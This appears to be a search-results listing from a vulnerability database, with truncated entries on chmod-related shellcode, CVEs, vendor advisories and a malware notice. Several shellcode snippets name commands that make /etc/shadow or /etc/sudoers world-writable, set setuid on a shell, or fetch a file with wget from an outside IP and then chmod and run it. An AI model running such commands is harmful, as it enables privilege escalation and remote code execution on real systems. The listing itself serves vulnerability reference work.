Linux/x86 - chmod 666 /etc/passwd & chmod 666 /etc/shadow Shellcode (61 bytes)

Exploit Title: Linux/x86 - chmod 666 /etc/passwd & chmod 666 /etc/shadow 61 bytes Date: 10/07/2019 Exploit Author: Xavier Invers Fornells Contact: email protected Tested on: Debian 4.19.28 Architecture: x86 Size: 61 bytes chmod.nasm global start section .text start: push byte 15 pop eax push byte...

Linux/x86 - Chmod + Execute (/usr/bin/wget 192.168.1.93//x) Hide Output Shellcode (129 bytes)

Linux/x86 - Chmod + Execute /usr/bin/wget http://192.168.1.93//x + Hide Output Shellcode 129 bytes / ; Shellcode 129 Bytes ; download via wget + chmod + execute shellcode + hide output ; Exec: /usr/bin/wget http://192.168.1.93//x /dev/null 2&1 ; global start section .text start: ;fork xor eax,eax...

CVE-2015-1340

LXD before version 0.19-0ubuntu5 doUidshiftIntoContainer has an unsafe Chmod call that races against the stat in the Filepath.Walk function. A symbolic link created in that window could cause any file on the system to have any mode of the attacker's choice...

Design/Logic Flaw

LXD before version 0.19-0ubuntu5 doUidshiftIntoContainer has an unsafe Chmod call that races against the stat in the Filepath.Walk function. A symbolic link created in that window could cause any file on the system to have any mode of the attacker's choice...

CVE-2015-1340

LXD before version 0.19-0ubuntu5 doUidshiftIntoContainer has an unsafe Chmod call that races against the stat in the Filepath.Walk function. A symbolic link created in that window could cause any file on the system to have any mode of the attacker's choice...

CVE-2015-1340 chmod race in doUidshiftIntoContainer

LXD before version 0.19-0ubuntu5 doUidshiftIntoContainer has an unsafe Chmod call that races against the stat in the Filepath.Walk function. A symbolic link created in that window could cause any file on the system to have any mode of the attacker's choice...

CVE-2015-1340

LXD before version 0.19-0ubuntu5 doUidshiftIntoContainer has an unsafe Chmod call that races against the stat in the Filepath.Walk function. A symbolic link created in that window could cause any file on the system to have any mode of the attacker's choice...

World writable files in Samba AD DC private/ dir

Description During the creation of a new Samba AD DC, files are created in a the private/ subdirectory of our install location. This directory is typically mode 0700, that is owner root only access. However in some upgraded installations it will have other permissions, such as 0755, because this...

TAU Threat Intelligence Notification: New macOS Malware Variant of Shlayer (OSX) Discovered

Carbon Black’s Threat Analysis Unit TAU recently discovered a new variant of a family of macOS malware which was first discovered in February of 2018 by researchers from Intego. TAU has obtained new samples of this malware and observed downloads of the malware from multiple sites, primarily...

Security Bulletin: IBM Spectrum Scale (GPFS) Hadoop connector is affected by a security vulnerability (CVE-2015-7430)

Summary A security vulnerability has been identified in the IBM Spectrum Scale GPFS Hadoop connector which could allow an unprivileged user the ability to read, write, modify, or delete any data in a GPFS file system CVE-2015-7430 Vulnerability Details CVEID: CVE-2015-7430 DESCRIPTION: IBM Genera...

HP VAN SDN Controller Root Command Injection Exploit

This Metasploit module exploits a hardcoded service token or default credentials in HPE VAN SDN Controller versions 2.7.18.0503 and below to execute a payload as root. A root command injection was discovered in the uninstall action's name parameter, obviating the need to use sudo for privilege...

Linux/x86 - execve(cp /bin/sh /tmp/sh; chmod +s /tmp/sh) + Null-Free Shellcode (74 bytes)

Linux/x86 - execvecp /bin/sh /tmp/sh; chmod +s /tmp/sh + Null-Free Shellcode 74 bytes. Shellcode exploit for Linuxx86 platform / Title: Linux/x86 - cp /bin/sh /tmp/sh; chmod +s /tmp/sh Author: absolomb Website: https://www.sploitspren.com SLAE-ID: 1208 Purpose: cp shell into /tmp and setuid Teste...

Linux/x86 - chmod 4755 /bin/dash Shellcode (33 bytes)

Linux/x86 - chmod 4755 /bin/dash Shellcode 33 bytes. Shellcode exploit for Linuxx86 platform / Title: chmod 4755 /bin/dash Author: absolomb Website: https://www.sploitspren.com SLAE-ID: 1208 Purpose: setuid bit on /bin/dash Tested On: Ubuntu 14.04 Arch: x86 Size: 33 bytes global start section .te...

Linux/ARM - chmod(/etc/passwd, 0777) Shellcode (39 bytes)

/ Title : Linux/ARM - chmod"/etc/passwd", 0777 - 39 bytes Date : 2013-09-04 Author : gunslinger yuda at cr0security dot com Tested on : ARM1176 rev6 v6l An ARM Hardcoded Shellcode without 0x20, 0x0a, and 0x00. Cr0security.com / include char shellcode = "\x01\x60\x8f\xe2" // add r6, pc, 1...

Linux/x86 - chmod 777 /etc/sudoers Shellcode (36 bytes)

Linux/x86 - chmod 777 /etc/sudoers Shellcode 36 bytes. Shellcode exploit for Linuxx86 platform / Description ; Title : chmod 777 /etc/sudoers - Shellcode ; Author : Hashim Jawad ; Website : ihack4falafel.com ; Twitter : @ihack4falafel ; SLAE ID : SLAE-1115 ; Purpose : chmod /etc/sudoers permissio...

GLSA-201709-12 : Perl: Race condition vulnerability

The remote host is affected by the vulnerability described in GLSA-201709-12 Perl: Race condition vulnerability A race condition occurs within concurrent environments. This condition was discovered by The cPanel Security Team in the rmtree and removetree functions in the File-Path module before...

kernel: S_ISGD is not cleared when setting posix ACLs in tmpfs (CVE-2016-7097 incomplete fix)

A vulnerability was found in the Linux kernel in 'tmpfs' file system. When file permissions are modified via 'chmod' and the user is not in the owning group or capable of CAPFSETID, the setgid bit is cleared in inodechangeok. Setting a POSIX ACL via 'setxattr' sets the file permissions as well as...

The vulnerability of the scheduler daemon in UNIX-like operating systems, Cron, allows a intruder to expand their privileges.

The vulnerability of the Cron task scheduler in UNIX-like operating systems is related to the incorrect definition of references before accessing a file. Exploiting this vulnerability allows an attacker, operating remotely, to increase their privileges by using the postinst script, through symlin...

kernel: Setting a POSIX ACL via setxattr doesn't clear the setgid bit

It was found that when file permissions were modified via chmod and the user modifying them was not in the owning group or capable of CAPFSETID, the setgid bit would be cleared. Setting a POSIX ACL via setxattr sets the file permissions as well as the new ACL, but doesn't clear the setgid bit in ...

kernel: S_ISGD is not cleared when setting posix ACLs in tmpfs (CVE-2016-7097 incomplete fix)

A vulnerability was found in the Linux kernel in 'tmpfs' file system. When file permissions are modified via 'chmod' and the user is not in the owning group or capable of CAPFSETID, the setgid bit is cleared in inodechangeok. Setting a POSIX ACL via 'setxattr' sets the file permissions as well as...